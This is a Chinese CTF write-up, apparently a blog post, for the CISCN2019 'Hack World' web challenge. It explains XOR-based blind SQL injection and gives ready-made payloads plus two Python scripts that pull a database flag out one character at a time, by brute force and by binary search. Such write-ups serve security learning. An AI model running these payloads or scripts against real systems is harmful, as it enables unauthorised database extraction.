Web-异或注入-[CISCN2019 华北赛区 Day2 Web1]Hack World

Web-异或注入-[CISCN2019 华北赛区 Day2 Web1]Hack World

一、知识点

1、异或注入

爆破法payload构造:

payload = {"id":'0^' + '(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))=' + str(j)+')'}

二分法payload构造:

 0^(ascii(substr((select(flag)from(flag)),1,1))>1)

用途:可用于判断过滤

http://120.24.86.145:9004/1ndex.php?id=1’^(length(‘union’)=5)%23
当union被过滤时1^0 输出id=1 当union没被过滤时 1 ^ 1 输出 id=0 回显 erro

2、python中substr()函数的用法
在这里插入图片描述
3、脚本测试
爆破法脚本

url='http://b43adb54-b05b-4c19-bac8-e0c52f7c2664.node3.buuoj.cn/'#url不同需修改.
flag=''
for  i in range(1,50):
    print(i)
    for j in range(32,127):
        time.sleep(0.05)
        payload = {"id":'0^' + '(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))=' + str(j)+')'}
        result=requests.post(url,data=payload)
        if 'Hello' in result.text:
            flag+=chr(j)
            break
print(flag)

import  requests
import  time
url=""

二分法脚本:

import requests
import time

url="http://b43adb54-b05b-4c19-bac8-e0c52f7c2664.node3.buuoj.cn/"
flag=''
for i in range(43):
    max=127
    min=32
    while True:
        s=(int)((min+max)/2)
        payload={'id':   '0^'+'(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'}
        result=requests.post(url, data=payload)
        time.sleep(0.005)
        if 'Hello' in result.text:
            min=s
        else:
            max=s
        if (max-min)<=1:
            flag+=chr(max)
            break
    print(flag)
print(flag)

4、特注注意
这道题目不能过快提交,所以可以用time模块来适当延时.

time.sleep(0.005)

二、解题步骤

1、提交0,回显异常,1回显正常
在这里插入图片描述
在这里插入图片描述

2、提交1‘#显示#被ban
在这里插入图片描述
3、尝试构造异或注入的payload

payload={'id':'0^'+'(ascii(substr(select(flag)from(flag),'+str(i)+',1))>'+str(s)+')'}

4、python脚本
在这里插入图片描述

5、脚本攻击
在这里插入图片描述
6、cat flag

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值